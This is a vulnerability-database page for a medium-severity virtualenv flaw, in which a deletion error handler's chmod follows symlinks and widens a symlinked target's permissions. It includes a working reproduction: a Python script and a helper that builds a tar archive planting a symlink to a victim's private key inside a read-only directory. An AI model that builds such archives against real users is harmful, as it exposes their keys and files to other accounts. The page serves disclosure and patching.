MediumCVE-2026-113724

    virtualenv: Deletion recovery can change a symlink target's mode (CVE-2026-113724)

    Published Last modified Sources: Hersteller, CVE.org

    What is affected, what to do

    Update Pypa Virtualenv to version 21.14.9.

    Affected
    • Pypa Virtualenv lt *..21.14.9
    Fixed in
    • Pypa Virtualenv 21.14.9

    Not sure whether and how you are affected? Ask a question about this vulnerability

    Metrics

    4.5

    Priority

    XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.

    Source: Vendor (CNA), CVSS v3

    4.5

    CVSS v3

    Severity Medium on the scale from 0 to 10.

    Source: Hersteller, CVE.org

    —

    EPSS score

    No value is available for this vulnerability.

    Show all metrics
    Severity
    Medium
    Priority (0–325)

    The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?

    Read in glossary
    52.50 Methodology
    Exploit maturity

    An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.

    Read in glossary
    no public PoC known
    XIEM Effective CVSS

    XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.

    Read in glossary
    4.5 Methodology
    CVSS v3

    CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.

    Read in glossary
    4.5
    KEV status

    The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.

    Read in glossary
    —
    Published
    CWE

    CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.

    Read in glossary
    CWE-59

    Detection rules

    No NEOSEC detection rule is available for this vulnerability yet.

    Classification under NIS2 and CRA

    Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

    NIS2

    NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

    Read in glossary
    Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.
    CRA

    The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

    Read in glossary
    From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
    ISO/IEC 27001

    ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

    Read in glossary
    Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

    Description

    Summary

    The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination.

    Anthropic's OSS Scanner reported this as ANT-2026-UK90QC27 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Permission recovery after a filesystem deletion error.

    Attacker-controlled input

    A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have permission to change the target mode. This is conditional error handling, not the normal successful unlink path.

    Affected code

    The relevant 21.14.8 source is in safe_delete().

    Mechanism

    safe_delete() asks shutil.rmtree() to retry a failed removal after adding owner-write permission. Its error handler calls os.lstat(path) for mode bits but os.chmod(path, ...) to apply them. For a symlink, lstat reads the link's mode while chmod follows the link. A link inside a read-only directory can therefore cause the target's mode to become 0777 before the retry fails. The target must be owned by the invoking user and initially not writable by that user; root does not reach this failure path.

    Reproduction and evidence

    The scanner packed a project containing a mode-0555 venv/bin/python/ directory and a symlink inside it pointing to the user's mode-0400 keys/deploy.pem. An unprivileged user unpacked it and ran both plain virtualenv venv and virtualenv --clear venv. Both commands exited with PermissionError naming the directory inside venv, while the key's mode changed from 0400 to 0777. A control archive with a writable directory completed normally and left the key at 0400. The read-only mode survives tar or cp -a; a normal git clone does not preserve this setup.

    This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to #3222, first released in 21.7.5. PR #3427 avoids POSIX mode changes on deletion failure and handles Windows read-only entries without following reparse points.

    Attack sequence

    sequenceDiagram
        participant A as Prepared read-only venv tree
        participant V as safe_delete error handler
        participant L as Symlink in venv
        participant K as User's 0400 key
        A->>V: virtualenv venv or --clear venv
        V->>L: unlink fails in 0555 directory
        V->>L: lstat returns link mode 0777
        V->>L: chmod follows symlink
        L->>K: target mode becomes 0777
        V-->>A: retry fails with PermissionError
        Note over K: Other accounts can use new mode if parent paths are traversable
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-UK90QC27. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import stat
    import subprocess
    import sys
    import tempfile
    from pathlib import Path
    
    NOBODY = 65534
    
    work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-"))
    os.chmod(work, 0o755)
    os.chown(work, NOBODY, NOBODY)
    
    # the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable
    make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"]
    subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True)
    subprocess.run([*make_archive, work / "writable.tar", "755"], check=True)
    subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True)
    
    # from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run
    os.setgroups([])
    os.setgid(NOBODY)
    os.setuid(NOBODY)
    os.umask(0o022)
    
    
    def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):
        home = work / home_name
        archive = work / archive_name
        key = home / "keys" / "deploy.pem"
        key.parent.mkdir(parents=True)
        key.write_text("PRIVATE KEY\n")
        key.chmod(0o400)
        subprocess.run(["tar", "-xf", archive], cwd=home, check=True)
    
        mode_before = stat.S_IMODE(key.stat().st_mode)
        command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"]
        # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it
        result = subprocess.run(
            command,
            cwd=home / "proj",
            env={**os.environ, "HOME": str(home)},
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            text=True,
        )
        mode_after = stat.S_IMODE(key.stat().st_mode)
    
        print(f"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}")
        print(f"{label} {key} mode {mode_before:#o} -> {mode_after:#o}")
        return mode_before, mode_after
    
    
    control = unpack_next_to_key_and_run_virtualenv("CONTROL ", "home-control", "writable.tar")
    default = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-default", "read-only.tar")
    clear = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear")
    
    # check: the key lives outside the destination; virtualenv has no business changing its mode
    print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK")
    

    repro.d/make_project_archive.py

    #!/usr/bin/env python3
    import sys
    import tarfile
    
    archive_path = sys.argv[1]
    python_folder_mode = int(sys.argv[2], 8)
    
    with tarfile.open(archive_path, "w") as archive:
        python_folder = tarfile.TarInfo("proj/venv/bin/python")
        python_folder.type = tarfile.DIRTYPE
        python_folder.mode = python_folder_mode  # without the write bit, unlinking an entry inside it fails with EACCES
        archive.addfile(python_folder)
    
        link = tarfile.TarInfo("proj/venv/bin/python/entry")
        link.type = tarfile.SYMTYPE
        link.linkname = "../../../../keys/deploy.pem"  # the victim's key, beside the unpacked proj/
        archive.addfile(link)
    

    Impact

    Permission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion failure to occur on a link and the invoking user to have permission to change the target mode.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that opens the entry itself without following reparse points and denies replacement until the attribute update finishes. It rejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains outside this protection.

    Fix: PR #3427.

    Known mitigation

    Avoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before retrying with broader privileges.

    Affected release

    • The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.

    Source: GitHub Security Advisories, cvelistv5, NVD (NIST)

    Affected products

    The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.

    Affected products
    VendorProductAffected versionsFixed in
    pypavirtualenv
    • < 21.14.9
    • 21.14.9
    pipvirtualenv
    • < 21.14.9
    • 21.14.9

    Weakness classes (CWE)

    • CWE-59Improper Link Resolution Before File Access ('Link Following')

      Base

      The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

      Entry at MITRE CWE-59

    References & sources

    • github.compypa/virtualenv/commit/2bfdc0230d1b2685fedfcfe66c835b9a2ec7c440x_refsource_MISC
    • github.compypa/virtualenv/pull/3427x_refsource_MISC
    • github.compypa/virtualenv/releases/tag/21.14.9x_refsource_MISC
    • github.compypa/virtualenv/security/advisories/GHSA-43mp-35q3-x3fqx_refsource_CONFIRM

    Reanalysis & status changes

    Chronological NVD audit events for this CVE — reanalyses, CVSS updates, CPE diffs.

    1. New CVE Receivedsecurity-advisories@github.com

      • Description: after virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the safe_delete() deletion error handler responds to a failed removal by reading mode bits with os.lstat(path) and applying owner-write permission with os.chmod(path, ...), which follows a symlink. A planted link inside a read-only directory can therefore cause a victim-owned target outside the destination that is initially not writable by the invoking user to become broadly writable before the retry fails, provided that user owns the target and can change its mode. Another account can use the widened mode only if it can traverse the target's parent directories; root does not reach the demonstrated failure path, and the operation does not itself read the target. This issue is fixed in version 21.14.9.
      • CVSS V3.1: after AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
      • CWE: after CWE-59
      • Affected: after New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/113xxx/CVE-2026-113724.json">CVE-2026-113724</a>
    Embed badge

    Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.

    Badge preview for CVE-2026-113724
    <a href="https://intel.neosec.eu/en/cve/CVE-2026-113724"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-113724.svg?lang=en" alt="CVE-2026-113724 – NEOSEC Intel" height="20"></a>